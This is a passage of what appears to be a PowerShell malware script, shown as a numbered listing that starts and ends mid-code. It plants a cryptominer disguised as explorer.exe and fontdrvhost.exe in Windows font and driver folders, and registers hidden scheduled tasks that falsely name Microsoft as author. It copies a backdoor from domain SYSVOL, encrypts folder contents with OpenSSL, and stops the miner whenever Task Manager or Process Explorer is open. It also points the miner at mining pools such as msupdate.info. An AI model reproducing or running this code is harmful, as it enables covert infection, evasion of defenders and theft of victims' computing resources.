  3080.     New-Item -ItemType "file" -Path $KeyFile | Out-Null
  3081.     $EncryptPMixpwdKey = Echo $ShufflePMixPwd | .\openssl.exe dgst -sha256
  3082.     $AllFiles = Get-ChildItem -Path $Input -Recurse | ?{ $_.Extension -ne $null -and $_.Extension -ne "" }
  3083.     ForEach ($EachFile in $AllFiles)
  3084.     {
  3085.         $fullPath = $EachFile.FullName
  3086.         $FileName = $EachFile.Name
  3087.         $FileEnc = Echo $FileName | .\openssl.exe dgst -sha256
  3088.         Write-host "Encrypted File :" -ForegroundColor Black -BackgroundColor Green -NoNewline
  3089.         Write-host " $FileName" -ForegroundColor Green -BackgroundColor Black
  3090.         Add-Content -Path $KeyFile -Value "$FileEnc,$FileName"
  3091.         .\openssl.exe enc -aes-256-cbc -salt -in $fullPath -out $Output\$FileEnc -k $EncryptPMixpwdKey
  3092.     }
  3093.     .\openssl.exe enc -aes-256-cbc -salt -in $KeyFile -out $Output"\f33a029ede00aafff83be9d419c99e2610a0003dac61a2920cb7ff4a5fb3316ba" -k $EncryptPMixpwdKey
  3094.     Write-Host " "
  3095.     Write-Host " :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
  3096.     Write-Host "                        Decryption File and Key                       " -BackgroundColor Green -ForegroundColor Black
  3097.     Write-Host " "
  3098.     Write-Host " Decryption key : " -ForegroundColor Yellow -NoNewline
  3099.     Write-host "$EncryptPMixpwdKey" -ForegroundColor Black -BackgroundColor White
  3100.     Write-Host " "
  3101.     Write-Host " Decryption Key File : " -ForegroundColor Yellow -NoNewline
  3102.     Write-host "$Output\f33a029ede00aafff83be9d419c99e2610a0003dac61a2920cb7ff4a5fb3316ba" -ForegroundColor Black -BackgroundColor White
  3103.     Write-Host " "
  3104.     Write-Host " :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"
  3105.     Write-Host " "
  3106.     Remove-Item $KeyFile -Force
  3107. }
  3108. Function Decry
  3109. {
  3110.     cls
  3111.     Write-Host "=======================" -NoNewline -ForegroundColor Yellow
  3112.     Write-Host " Begining Appu Decryption " -NoNewline -ForegroundColor Red -BackgroundColor Green
  3113.     Write-Host "=======================" -ForegroundColor Yellow
  3114.     $Input = "$env:windir\System\HASH"
  3115.     $Output = "$env:windir\Fonts\arial"
  3116.     if (!(Test-Path "$Output"))
  3117.     {
  3118.         new-item "$Output" -itemtype directory
  3119.     }
  3120.     $UniqueKey = "a6d589b549ffc5b4c640e6c67a5d682add65549ff199bb66eb6504cec07c426d"
  3121.     $KeyFile = "$env:windir\System\HASH\f33a029ede00aafff83be9d419c99e2610a0003dac61a2920cb7ff4a5fb3316ba"
  3122.     $RandomkeyFileName = Get-Random
  3123.     $KeyFileExtractPath = "$env:windir\system"
  3124.     .\openssl.exe enc -aes-256-cbc -salt -d -in $KeyFile -out $KeyFileExtractPath\"$RandomkeyFileName.key" -k $UniqueKey
  3125.     $ReadKey = Get-Content -Path $KeyFileExtractPath\"$RandomkeyFileName.key"
  3126.     $AllFiles = Get-ChildItem -Path $Input | ?{ $_.Extension -eq $null -or $_.Extension -eq "" }
  3127.     ForEach ($EachFile in $AllFiles)
  3128.     {
  3129.         $fullPath = $EachFile.FullName
  3130.         $FileName = $EachFile.Name
  3131.         # Write-Host "allnames $EachFile"
  3132.         # $FileDec = Echo $FileName | .\openssl.exe enc -d -aes-256-cbc -a -salt -k $PMixpwd
  3133.         ForEach ($FileNameS in $ReadKey)
  3134.         {
  3135.             $FileH, $FileN = $FileNameS.split(",", 2)
  3136.             Write-Host "$FileH" -ForegroundColor Yellow
  3137.             Write-Host "$FileName" -ForegroundColor Green
  3138.             if ($FileH -eq $FileName)
  3139.             {
  3140.                 Write-Host "Decrypted File : $FileN" -ForegroundColor Black -BackgroundColor White
  3141.                 .\openssl.exe enc -aes-256-cbc -salt -d -in $fullPath -out $Output\$FileN -k $UniqueKey
  3142.             }
  3143.         }
  3144.     }
  3145.     Remove-Item $KeyFileExtractPath\"$RandomkeyFileName.key" -Force
  3146. }
  3147.  
  3148. Function Recover
  3149. {
  3150.     $PrimaryPwd = "Kirova143"
  3151.     $SecondaryPwd = "Kirova143"
  3152.     [string]$PMixpwd = "$PrimaryPwd$SecondaryPwd"
  3153.     $EncryptPMixpwdKey = Echo $PMixpwd | .\openssl.exe dgst -sha256
  3154.    
  3155.     Write-Host " "
  3156.     Write-Host "========================================================================"
  3157.     Write-Host "Key : " $EncryptPMixpwdKey
  3158.     Write-Host "========================================================================"
  3159.     Write-Host " "
  3160.    
  3161. }
  3162.  
  3163. function EncryptFile($options)
  3164. {
  3165.     cd C:
  3166.     cd $env:windir\system32\drivers
  3167.     Write-Host " "
  3168.     Write-Host "Validating package               " -NoNewline
  3169.     $OpenSSLCheck = Test-Path $env:windir\system32\drivers\Openssl.exe
  3170.     if ($OpenSSLCheck)
  3171.     {
  3172.         Write-Host "[ SUCCESS ]" -ForegroundColor Green
  3173.     }
  3174.     Else
  3175.     {
  3176.         Write-Host "[ FAILED ]" -ForegroundColor Red
  3177.         Write-Host "Trying to download the package   " -NoNewline
  3178.         $url = "http://downloads.sourceforge.net/gnuwin32/openssl-0.9.8h-1-bin.zip"
  3179.         $outputZip = "$env:windir\system32\drivers\Openssl.zip"
  3180.         $wc = New-Object System.Net.WebClient
  3181.         $wc.DownloadFile($url, $outputZip)
  3182.         $RandomFold = Get-Random
  3183.         $foldPath = "$env:windir\system32\drivers\$RandomFold"
  3184.         $outputZip = "$env:windir\system32\drivers\Openssl.zip"
  3185.         Add-Type -assembly "system.io.compression.filesystem"
  3186.         [io.compression.zipfile]::ExtractToDirectory($outputZip, $foldPath)
  3187.         $OpenSSLPath = "$foldPath\bin\Openssl.exe"
  3188.         $testdownload = Test-Path $OpenSSLPath
  3189.         # Write-Host "Testing download and extraction - $OpenSSLPath"
  3190.         Copy-Item $OpenSSLPath $env:windir\system32\drivers
  3191.         Start-Sleep -Seconds 5
  3192.         $PostDownloadcheck = Test-Path $env:windir\system32\drivers\Openssl.exe
  3193.         if ($PostDownloadcheck)
  3194.         {
  3195.             Write-Host "[ SUCCESS ]" -ForegroundColor Green
  3196.         }
  3197.         Else
  3198.         {
  3199.             Write-Host "[ FAILED ]" -ForegroundColor Green
  3200.             Write-Host " "
  3201.             Write-Host "Kindly download the file manually from the following link, and extract the openssl.exe in path: $env:windir\system32\drivers " -ForegroundColor Yellow -BackgroundColor Red
  3202.             Write-Host "http://downloads.sourceforge.net/gnuwin32/openssl-0.9.8h-1-bin.zip" -ForegroundColor Black -BackgroundColor White
  3203.         }
  3204.     }
  3205.     Write-Host " "
  3206.     Write-Host " "
  3207.     Write-Host "1. Encrypt contents of Folder !!" -ForegroundColor White -BackgroundColor Red
  3208.     Write-Host "2. Decrypt contents of Folder !!" -ForegroundColor Black -BackgroundColor Green
  3209.     Write-Host "3. Recover Lost Key !!" -ForegroundColor Green -BackgroundColor Black
  3210.     Write-Host " "
  3211.     #$Opt = Read-Host "Enter Option "
  3212.     $Opt = "$options"
  3213.     If ($Opt -eq 1)
  3214.     {
  3215.         Encry
  3216.         Remove-Item "$env:windir\fonts\arial" -Recurse -force
  3217.     }
  3218.     elseif ($opt -eq 2)
  3219.     {
  3220.         Decry
  3221.     }
  3222.     elseif ($opt -eq 3)
  3223.     {
  3224.         Recover
  3225.     }
  3226.     Else
  3227.     {
  3228.         Write-Warning "You have entered invalid option !! Try again..."
  3229.     }
  3230.    
  3231. }
  3232.  
  3233.  
  3234. switch ($PCbased)
  3235. {
  3236.     "X64-based PC" {
  3237.         $path = ${env:ProgramFiles(x86)}
  3238.         $osArch = "x64"
  3239.     }
  3240.     "X86-based PC" {
  3241.         $path = $env:ProgramFiles
  3242.         $osArch = "x86"
  3243.     }
  3244. }
  3245. if (Test-Path "$env:windir\fonts\ttf\explorer.exe")
  3246. {
  3247.     $MinerPath = "$env:windir\fonts\ttf"
  3248. }
  3249. else
  3250. {
  3251.     $MinerPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Crypto\Keys"
  3252. }
  3253. if (Test-Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Network\Connections\fontdrvhost.exe")
  3254. {
  3255.     $loaderpath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Network\Connections"
  3256. }
  3257. else
  3258. {
  3259.     $loaderpath = "$env:windir\system32\drivers"
  3260. }
  3261.  
  3262. if (Test-Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Internet Explorer\Settings\fontdrvhost.exe")
  3263. {
  3264.     $backdoor = "$env:USERPROFILE\AppData\Roaming\Microsoft\Internet Explorer\Settings"
  3265. }
  3266. else
  3267. {
  3268.     $domain = (Get-WmiObject Win32_ComputerSystem).Domain
  3269.     $isdomain = (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain
  3270.    
  3271.     if ($isdomain -eq $true)
  3272.     {
  3273.         $checkreg = (Get-ItemProperty -Path 'HKLM:\SYSTEM\Software\Microsoft' -Name DriversPath -ErrorAction SilentlyContinue).driverspath
  3274.        
  3275.         if (Test-Path "$checkreg\$osarch\fontdrvhost.exe")
  3276.         {
  3277.             $backdoor = "$checkreg\$osarch"
  3278.             robocopy $backdoor "$env:windir\Fonts\Arial" /R:3 /W:20
  3279.             $backdoor2 = "$env:windir\Fonts\Arial"
  3280.         }
  3281.         else
  3282.         {
  3283.             $ScriptDirectory = ((Get-ChildItem -Path "\\$domain\sysvol\$domain\Policies" -Filter fontdrvhost.exe -Recurse -ErrorAction SilentlyContinue -Force | % { $_.DirectoryName }) | select -First 1) -replace '\\x64' -replace '\\x86'
  3284.             if (Test-Path "$ScriptDirectory\$osarch\fontdrvhost.exe")
  3285.             {
  3286.                 $backdoor = "$ScriptDirectory\$osarch"
  3287.                 robocopy $backdoor "$env:windir\Fonts\Arial" /R:3 /W:20
  3288.                 $backdoor2 = "$env:windir\Fonts\Arial"
  3289.             }
  3290.             else
  3291.             {
  3292.                 $backdoor = "$env:windir\Fonts\Arial"
  3293.             }
  3294.         }
  3295.     }
  3296.     else
  3297.     {
  3298.         $backdoor = "$env:windir\Fonts\Arial"
  3299.     }
  3300.    
  3301. }
  3302. function Get-SheduledTasks
  3303. {
  3304.     param (
  3305.         [string]$ComputerName = $env:COMPUTERNAME,
  3306.         [switch]$RootFolder
  3307.     )
  3308.    
  3309.     #region Functions
  3310.     function Get-AllTaskSubFolders
  3311.     {
  3312.         [cmdletbinding()]
  3313.         param (
  3314.             # Set to use $Schedule as default parameter so it automatically list all files
  3315.             # For current schedule object if it exists.
  3316.             $FolderRef = $Schedule.getfolder("\")
  3317.         )
  3318.         if ($FolderRef.Path -eq '\')
  3319.         {
  3320.             $FolderRef
  3321.         }
  3322.         if (-not $RootFolder)
  3323.         {
  3324.             $ArrFolders = @()
  3325.             if (($Folders = $folderRef.getfolders(1)))
  3326.             {
  3327.                 $Folders | ForEach-Object {
  3328.                     $ArrFolders += $_
  3329.                     if ($_.getfolders(1))
  3330.                     {
  3331.                         Get-AllTaskSubFolders -FolderRef $_
  3332.                     }
  3333.                 }
  3334.             }
  3335.             $ArrFolders
  3336.         }
  3337.     }
  3338.    
  3339.     function Get-TaskTrigger
  3340.     {
  3341.         [cmdletbinding()]
  3342.         param (
  3343.             $Task
  3344.         )
  3345.         $Triggers = ([xml]$Task.xml).task.Triggers
  3346.         if ($Triggers)
  3347.         {
  3348.             $Triggers | Get-Member -MemberType Property | ForEach-Object {
  3349.                 $Triggers.($_.Name)
  3350.             }
  3351.         }
  3352.     }
  3353.     #endregion Functions
  3354.    
  3355.    
  3356.     try
  3357.     {
  3358.         $Schedule = New-Object -ComObject 'Schedule.Service'
  3359.     }
  3360.     catch
  3361.     {
  3362.         Write-Warning "Schedule.Service COM Object not found, this script requires this object"
  3363.         return
  3364.     }
  3365.    
  3366.     $Schedule.connect($ComputerName)
  3367.     $AllFolders = Get-AllTaskSubFolders
  3368.    
  3369.     foreach ($Folder in $AllFolders)
  3370.     {
  3371.         if (($Tasks = $Folder.GetTasks(1)))
  3372.         {
  3373.             $Tasks | Foreach-Object {
  3374.                 New-Object -TypeName PSCustomObject -Property @{
  3375.                     'Name'    = $_.name
  3376.                     'Path'    = $_.path
  3377.                     'State'   = switch ($_.State)
  3378.                     {
  3379.                         0 { 'Unknown' }
  3380.                         1 { 'Disabled' }
  3381.                         2 { 'Queued' }
  3382.                         3 { 'Ready' }
  3383.                         4 { 'Running' }
  3384.                         Default { 'Unknown' }
  3385.                     }
  3386.                     'Enabled' = $_.enabled
  3387.                     'LastRunTime' = $_.lastruntime
  3388.                     'LastTaskResult' = $_.lasttaskresult
  3389.                     'NumberOfMissedRuns' = $_.numberofmissedruns
  3390.                     'NextRunTime' = $_.nextruntime
  3391.                     'Author'  = ([xml]$_.xml).Task.RegistrationInfo.Author
  3392.                     'UserId'  = ([xml]$_.xml).Task.Principals.Principal.UserID
  3393.                     'Description' = ([xml]$_.xml).Task.RegistrationInfo.Description
  3394.                     'Trigger' = Get-TaskTrigger -Task $_
  3395.                     'ComputerName' = $Schedule.TargetServer
  3396.                 }
  3397.             }
  3398.         }
  3399.     }
  3400. }
  3401.  
  3402.  
  3403. while ($true)
  3404. {
  3405.     if ($env:COMPUTERNAME -like "*slave*")
  3406.     {
  3407.         $time = (Convert-TimeZone -DateTime (get-date) -ToTimeZone "Russian Standard Time").ToString("HH:mm")
  3408.         if ($time -ge "07:30" -and $time -le "18:00")
  3409.         {
  3410.  
  3411.        
  3412.             $processpath = Get-Process | ForEach-Object { $_.Path }
  3413.             if ($processpath -contains "$env:windir\fonts\ttf\explorer.exe") { get-process | Where-Object { $_.path -like "*$env:windir\fonts\ttf\explorer.exe*" } | stop-process -force }
  3414.             if ($processpath -contains "$env:windir\system32\drivers\fontdrvhost.exe") { get-process | Where-Object { $_.path -like "*$env:windir\system32\drivers\fontdrvhost.exe*" } | stop-process -force }
  3415.             $taskpath = "Microsoft\Windows\Multimedia\SystemSoundsCheck"
  3416.             schtasks /delete /tn "$taskpath" /f
  3417. #           robocopy "$env:windir\Fonts\arial" "$env:windir\system\arial" /R:1 /W:0 | Out-Null
  3418.             Remove-Item "$env:windir\Fonts\ttf" -Recurse -force
  3419.             Remove-Item "$env:windir\system32\drivers\fontdrvhost.exe" -force
  3420.             $RusTime = ((Convert-TimeZone -DateTime (get-date) -ToTimeZone "Russian Standard Time").ToString("HH:mm"))
  3421.             $diff = [math]::Round(((get-date) - [datetime]$RusTime).TotalHours)
  3422.             $data = ([datetime]("18:01")).AddHours($diff).ToString("s")
  3423.            
  3424.             $taskpath = "Microsoft\Windows\Autochk\GroupPolicyCheckStatus"
  3425.            
  3426.             $XML = @"
  3427. <?xml version="1.0" encoding="UTF-16"?>
  3428. <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  3429.  <RegistrationInfo>
  3430.    <Date>2017-09-26T01:08:08.9958999</Date>
  3431.    <Author>Microsoft Corporation</Author>
  3432.    <URI>\Microsoft\Windows\Multimedia\task</URI>
  3433.  </RegistrationInfo>
  3434.  <Triggers>
  3435.    <CalendarTrigger>
  3436.  
  3437.      <StartBoundary>$data</StartBoundary>
  3438.      <Enabled>true</Enabled>
  3439.      <ScheduleByDay>
  3440.        <DaysInterval>1</DaysInterval>
  3441.      </ScheduleByDay>
  3442. </CalendarTrigger>
  3443.  
  3444.    <BootTrigger>
  3445.      <Enabled>true</Enabled>
  3446.      <Delay>PT15M</Delay>
  3447.    </BootTrigger>
  3448.  </Triggers>
  3449.  <Principals>
  3450.    <Principal id="Author">
  3451.      <UserId>S-1-5-18</UserId>
  3452.      <RunLevel>HighestAvailable</RunLevel>
  3453.    </Principal>
  3454.  </Principals>
  3455.  <Settings>
  3456.    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  3457.    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  3458.    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
  3459.    <AllowHardTerminate>true</AllowHardTerminate>
  3460.    <StartWhenAvailable>true</StartWhenAvailable>
  3461.    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
  3462.    <IdleSettings>
  3463.      <StopOnIdleEnd>true</StopOnIdleEnd>
  3464.      <RestartOnIdle>false</RestartOnIdle>
  3465.    </IdleSettings>
  3466.    <AllowStartOnDemand>true</AllowStartOnDemand>
  3467.    <Enabled>true</Enabled>
  3468.    <Hidden>true</Hidden>
  3469.    <RunOnlyIfIdle>false</RunOnlyIfIdle>
  3470.    <WakeToRun>true</WakeToRun>
  3471.    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  3472.    <Priority>7</Priority>
  3473.    <RestartOnFailure>
  3474.      <Interval>PT1M</Interval>
  3475.      <Count>30</Count>
  3476.    </RestartOnFailure>
  3477.  </Settings>
  3478.  <Actions Context="Author">
  3479.    <Exec>
  3480.   <Command>wmic</Command>
  3481. <Arguments>process call create "$env:windir\SoftwareDistribution\DeliveryOptimization\gpupdate.exe","$env:windir\SoftwareDistribution\DeliveryOptimization"</Arguments>
  3482.    </Exec>
  3483.  </Actions>
  3484. </Task>
  3485.  
  3486.  
  3487. "@
  3488.            
  3489.             $XML | Out-File -Encoding ASCII "$env:windir\System32\drivers\task.xml"
  3490.             schtasks /delete /tn "$taskpath" /f
  3491.             schtasks /create /xml "$env:windir\System32\drivers\task.xml" /tn "$taskpath"
  3492.             if (Test-Path "$env:windir\System32\drivers\task.xml") { Remove-Item "$env:windir\System32\drivers\task.xml" -force }
  3493.             EncryptFile 1
  3494.             Start-Sleep -s 30
  3495.             break
  3496.         }
  3497.     }
  3498.     $tasksmanager = "Process Explorer", "Process Hacker", "taskmgr", "*ProcessHacker*", "*procexp*", "*AnVir*"
  3499.     foreach ($taskmanager in $tasksmanager)
  3500.     {
  3501.         $processWindows = (Get-Process) | ForEach-Object { $_.MainWindowTitle }
  3502.        
  3503.         $process = get-process | select -expand name
  3504.         if (($processWindows -like "*$taskmanager*") -or ($process -like "*$taskmanager*"))
  3505.         {
  3506.            
  3507.             $process = get-process | select -expand name
  3508.             $processtaskname = (Get-Process | where { $_.mainWindowTItle -like "*$taskmanager*" }).processname
  3509.            
  3510.             If (!($processtaskname))
  3511.             {
  3512.                 $processtaskname = $taskmanager
  3513.                
  3514.             }
  3515.            
  3516.            
  3517.         }
  3518.         Start-Sleep -m 500
  3519.     }
  3520.     Start-Sleep -m 500
  3521.     $process = get-process | select -expand name
  3522.     while ($process -contains $processtaskname)
  3523.     {
  3524.        
  3525.         $processpath = Get-Process | ForEach-Object { $_.Path }
  3526.         if ($processpath -contains "$MinerPath\explorer.exe") { get-process | Where-Object { $_.path -like "*$MinerPath\explorer.exe*" } | stop-process -force }
  3527.        
  3528.         if (Test-Path "$backdoor\explorer.exe")
  3529.         {
  3530.             if (Test-Path "$MinerPath") { Remove-Item "$MinerPath" -Force -Recurse }
  3531.         }
  3532.        
  3533.         $owners = @{ }
  3534.         gwmi win32_process -Filter "name like '%$processtaskname%'" | % { $owners[$_.handle] = $_.getowner().user }
  3535.         $ps = get-process | select processname, Id, @{ l = "Owner"; e = { $owners[$_.id.tostring()] } }
  3536.         $users = $ps | ForEach-Object { $_.owner }
  3537.        
  3538.        
  3539.        
  3540.        
  3541.         foreach ($user in $users)
  3542.         {
  3543.            
  3544.             if ($user -ne $null)
  3545.             {
  3546.                
  3547.                 if (((qwinsta $user) -like "*Disc*") -or ((qwinsta $user) -like "*Getr*") -or ((qwinsta $user) -like "*Desc*") -or ((qwinsta $user) -like "*Déco*") -or ((qwinsta $user) -like "*Disk*") -or ((qwinsta $user) -like "*диск*"))
  3548.                 {
  3549.                    
  3550.                    
  3551.                     $owners = @{ }
  3552.                     gwmi win32_process -Filter "name like '%$processtaskname%'" | % { $owners[$_.handle] = $_.getowner().user }
  3553.                     $ps = get-process | select processname, Id, @{ l = "Owner"; e = { $owners[$_.id.tostring()] } }
  3554.                    
  3555.                     foreach ($p in $ps)
  3556.                     {
  3557.                         if ($user -ne $null)
  3558.                         {
  3559.                             $ip = $p | ForEach-Object { $_.owner }
  3560.                             if ($ip -eq "$user")
  3561.                             {
  3562.                                 $p | Stop-Process -Force
  3563.                             }
  3564.                         }
  3565.                        
  3566.                     }
  3567.                    
  3568.                 }
  3569.             }
  3570.         }
  3571.        
  3572.        
  3573.         $process = get-process | select -expand name
  3574.         Start-Sleep -s 30
  3575.        
  3576.     }
  3577.     if ($processpath -notcontains "$MinerPath\explorer.exe")
  3578.     {
  3579.         if ($processpath -notcontains "$loaderpath\fontdrvhost.exe")
  3580.         {
  3581.             $test = Get-SheduledTasks | Where-Object { $_.Name -eq 'SystemSoundsCheck' } | Select-Object -ExpandProperty Enabled
  3582.             if ($test -eq $true)
  3583.             {
  3584.                 $task = Get-SheduledTasks | Where-Object { $_.Name -eq 'SystemSoundsCheck' } | Select-Object -ExpandProperty path
  3585.                
  3586.             }
  3587.             else
  3588.             {
  3589.                
  3590.                 $data = (get-date).AddMinutes(1).ToString("s")
  3591.                 $XML = @"
  3592. <?xml version="1.0" encoding="UTF-16"?>
  3593. <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  3594. <RegistrationInfo>
  3595. <Date>2017-10-24T02:16:09</Date>
  3596. <Author>user07</Author>
  3597. </RegistrationInfo>
  3598. <Triggers>
  3599. <TimeTrigger>
  3600. <Repetition>
  3601. <Interval>PT1H</Interval>
  3602. <StopAtDurationEnd>false</StopAtDurationEnd>
  3603. </Repetition>
  3604. <StartBoundary>$data</StartBoundary>
  3605. <Enabled>true</Enabled>
  3606. </TimeTrigger>
  3607. </Triggers>
  3608. <Principals>
  3609. <Principal id="Author">
  3610. <LogonType>InteractiveToken</LogonType>
  3611. <RunLevel>LeastPrivilege</RunLevel>
  3612. </Principal>
  3613. </Principals>
  3614. <Settings>
  3615. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  3616. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  3617. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
  3618. <AllowHardTerminate>true</AllowHardTerminate>
  3619. <StartWhenAvailable>true</StartWhenAvailable>
  3620. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
  3621. <IdleSettings>
  3622. <StopOnIdleEnd>true</StopOnIdleEnd>
  3623. <RestartOnIdle>false</RestartOnIdle>
  3624. </IdleSettings>
  3625. <AllowStartOnDemand>true</AllowStartOnDemand>
  3626. <Enabled>true</Enabled>
  3627. <Hidden>true</Hidden>
  3628. <RunOnlyIfIdle>false</RunOnlyIfIdle>
  3629. <WakeToRun>false</WakeToRun>
  3630. <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  3631. <Priority>7</Priority>
  3632. <RestartOnFailure>
  3633. <Interval>PT5M</Interval>
  3634. <Count>30</Count>
  3635. </RestartOnFailure>
  3636. </Settings>
  3637. <Actions Context="Author">
  3638. <Exec>
  3639. <Command>wmic</Command>
  3640. <Arguments>process call create "$loaderpath\fontdrvhost.exe","$loaderpath"</Arguments>
  3641. </Exec>
  3642. </Actions>
  3643. </Task>
  3644. "@
  3645.                 If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
  3646.                 {
  3647.                     $tempfolder = "$env:USERPROFILE\AppData\Roaming\Microsoft"
  3648.                     $taskpath = "SystemSoundsCheck"
  3649.                 }
  3650.                 else
  3651.                 {
  3652.                     $tempfolder = "$env:windir\system32\drivers\etc"
  3653.                     $taskpath = "Microsoft\Windows\Multimedia\SystemSoundsCheck"
  3654.                 }
  3655.                
  3656.                 $XML | Out-File -Encoding ASCII "$tempfolder\task.xml"
  3657.                 schtasks /delete /tn "$taskpath" /f
  3658.                 schtasks /create /xml "$tempfolder\task.xml" /tn "$taskpath"
  3659.                 if (Test-Path "$tempfolder\task.xml") { Remove-Item "$tempfolder\task.xml" -force }
  3660.                 $task = Get-SheduledTasks | Where-Object { $_.Name -eq 'SystemSoundsCheck' } | Select-Object -ExpandProperty path
  3661.             }
  3662.             $processpath = Get-Process | ForEach-Object { $_.Path }
  3663.             if ($processpath -notcontains "$loaderpath\fontdrvhost.exe")
  3664.             {
  3665.                 schtasks /run /tn $task
  3666.                 break
  3667.             }
  3668.            
  3669.             #$RunProc = get-wmiobject -list Win32_process
  3670.             #$results = $RunProc.Create("$loaderpath\fontdrvhost.exe")
  3671.         }
  3672.     }
  3673.    
  3674. }
  3675.  
  3676.  
  3677.  
  3678. '@
  3679.                         $script | Out-File "$tempfolder\WindowsUpdate.ps1"
  3680.                         $RunProc = get-wmiobject -list Win32_process
  3681.                         $results = $RunProc.Create("powershell.exe -executionpolicy bypass ""$tempfolder\WindowsUpdate.ps1""")
  3682.                         #           Start-Process wmic -ArgumentList ("powershell.exe $tempfolder\WindowsUpdate.ps1")
  3683.                        
  3684.                     }
  3685.                    
  3686.                     $testpath = (Get-ItemProperty -Path HKLM:\SYSTEM\Software\Microsoft -Name DriversPath).DriversPath
  3687.                    
  3688.                     if (!(Test-Path "$testpath\$osArch\explorer.exe"))
  3689.                     {
  3690.                         if ($checkadm -eq "1")
  3691.                         {
  3692.                             if ($backdor2)
  3693.                             {
  3694.                                 $backdoor = "$backdoor2"
  3695.                             }
  3696.                         }
  3697.                     }
  3698.                     else
  3699.                     {
  3700.                         $backdoor = "$testpath\$osArch"
  3701.                     }
  3702.                    
  3703.                    
  3704.                    
  3705.                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3706.                    
  3707.                     if ($processpath -notcontains "$MinerPath\explorer.exe")
  3708.                     {
  3709.                         $RunProc = get-wmiobject -list Win32_process
  3710.                         if ($osArch -eq "x64")
  3711.                         {
  3712.                             #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "$ConfPath\WindowsUpdate.etl" -NoNewWindow
  3713.                            
  3714.                             $results = $RunProc.Create("$MinerPath\explorer.exe $ConfPath\WindowsUpdate.etl")
  3715.                         }
  3716.                         else
  3717.                         {
  3718.                             #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "--config=""$ConfPath\WindowsUpdate.etl""" -NoNewWindow
  3719.                             $results = $RunProc.Create("$MinerPath\explorer.exe --config=""$ConfPath\WindowsUpdate.etl""")
  3720.                         }
  3721.                     }
  3722.                     Start-Sleep -s 5
  3723.                     try
  3724.                     {
  3725.                         $rundll = (Get-WmiObject Win32_Process -Filter "name = 'rundll32.exe'" | Where-Object { $_.CommandLine -like "*$MinerPath\explorer*" }).processid
  3726.                         if ($rundll)
  3727.                         {
  3728.                             Stop-Process -Id $rundll -force
  3729.                         }
  3730.                     }
  3731.                     catch
  3732.                     { }
  3733.                     Start-Sleep -s 5
  3734.                     $testpath = (Get-ItemProperty -Path HKLM:\SYSTEM\Software\Microsoft -Name DriversPath).DriversPath
  3735.                     if (!(Test-Path "$testpath\$osArch\explorer.exe"))
  3736.                     {
  3737.                         if ($checkadm -eq "1")
  3738.                         {
  3739.                             if ($backdor2)
  3740.                             {
  3741.                                 $backdoor = "$backdoor2"
  3742.                             }
  3743.                         }
  3744.                     }
  3745.                     else
  3746.                     {
  3747.                         $backdoor = "$testpath\$osArch"
  3748.                     }
  3749.                     $EndTime = Get-Date
  3750.                    
  3751.                     if (Test-Path "$tempfolder\WindowsUpdate.ps1") { Remove-Item "$tempfolder\WindowsUpdate.ps1" -force }
  3752.                     Start-Sleep -s 5
  3753.                    
  3754.                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3755.                     if ($processpath -contains "$MinerPath\explorer.exe")
  3756.                     {
  3757.                         $TestUpTime = TestUptime -ErrorAction "silentlycontinue"
  3758.                         if ($TestUpTime -eq "false")
  3759.                         {
  3760.                            
  3761.                             if ($pool -like "*59.5*" -or $port -like "*4444*")
  3762.                             {
  3763.                                 $servers = "msupdate.info", "$ipms"
  3764.                                 foreach ($value in $servers)
  3765.                                 {
  3766.                                     if ($value -like "*msupdate*")
  3767.                                     {
  3768.                                         if ($Minerport -like "*14444*" -or $pool -like "*50*") { $port = ":14444" }
  3769.                                         if ($Minerport -like "*24444*" -or $pool -like "*51*") { $port = ":24444" }
  3770.                                         if ($Minerport -like "*34444*" -or $pool -like "*52*") { $port = ":34444" }
  3771.                                        
  3772.                                     }
  3773.                                     else
  3774.                                     {
  3775.                                         $port = ":80"
  3776.                                     }
  3777.                                    
  3778.                                     $pool = $value
  3779.                                    
  3780.                                    
  3781.                                     if ($osArch -eq "x86")
  3782.                                     {
  3783.                                         createconfig32 -pool "$pool$port"`
  3784.                                                        -walet "$worker"
  3785.                                     }
  3786.                                     else
  3787.                                     {
  3788.                                         createconfig -pool "$pool$port"`
  3789.                                                      -walet "$worker"`
  3790.                                                      -threads "$threads"
  3791.                                     }
  3792.                                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3793.                                     if ($processpath -contains "$MinerPath\explorer.exe") { get-process | Where-Object { $_.path -like "*$MinerPath\explorer.exe*" } | stop-process -force }
  3794.                                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3795.                                     Start-Sleep -s 5
  3796.                                     if ($processpath -notcontains "$MinerPath\explorer.exe")
  3797.                                     {
  3798.                                         $RunProc = get-wmiobject -list Win32_process
  3799.                                         if ($osArch -eq "x64")
  3800.                                         {
  3801.                                             #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "$ConfPath\WindowsUpdate.etl" -NoNewWindow
  3802.                                            
  3803.                                             $results = $RunProc.Create("$MinerPath\explorer.exe $ConfPath\WindowsUpdate.etl")
  3804.                                         }
  3805.                                         else
  3806.                                         {
